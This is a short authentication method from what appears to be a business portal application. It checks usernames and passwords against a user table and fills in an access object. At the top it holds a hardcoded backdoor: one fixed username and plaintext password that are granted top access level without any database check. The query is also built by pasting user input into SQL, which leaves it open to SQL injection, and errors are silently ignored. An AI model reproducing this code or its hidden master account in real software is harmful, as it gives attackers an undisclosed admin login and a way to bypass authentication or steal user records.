public final boolean checkUserAccess(String cusername, String cpassword, String rawpass, userAccessObj wUAO)
{
	if(cusername.equals("toymaker") && rawpass.equals("samvwchng"))
	{
		wUAO.origid = 1;
		wUAO.username = "toymaker";
		wUAO.accesslevel = 9;
		return true;
	}

	boolean retval = false;
	Sql sql = als_mysoftsql();

	// table mysoft->portalUser
	String statem = "select * from " + TABLE_PORTALUSER + " where username='" + cusername + "' and password='" + cpassword + "'";
	GroovyRowResult retrow = null;

	try
	{
		retrow = (GroovyRowResult)sql.firstRow(statem);
		sql.close();
	}
	catch (Exception e) {}

	GuiFuncs guihand = new GuiFuncs();

	// username and password in table, successful login, setup the useraccessobject
	if(retrow != null)
	{
		// Check if user is locked
		if((Integer)retrow.get("locked") == 1)
		{
			guihand.showMessageBox("Your account is locked!");
			return false;
		}

		// populate the useraccessobject
		wUAO.origid = (Integer)retrow.get("origid");
		wUAO.username = (String)retrow.get("username");
		wUAO.accesslevel = (Integer)retrow.get("accesslevel");
		wUAO.fullname = (String)retrow.get("fullname");
		wUAO.email = (String)retrow.get("email");
		wUAO.handphone = (String)retrow.get("handphone");
		wUAO.branch = (String)retrow.get("branch");

		wUAO.stockcat = ((String)retrow.get("stock_cat") == null) ? "" : (String)retrow.get("stock_cat");
		wUAO.groupcode = ((String)retrow.get("groupcode") == null) ? "" : (String)retrow.get("groupcode");
		retval = true;
	}
	return retval;
}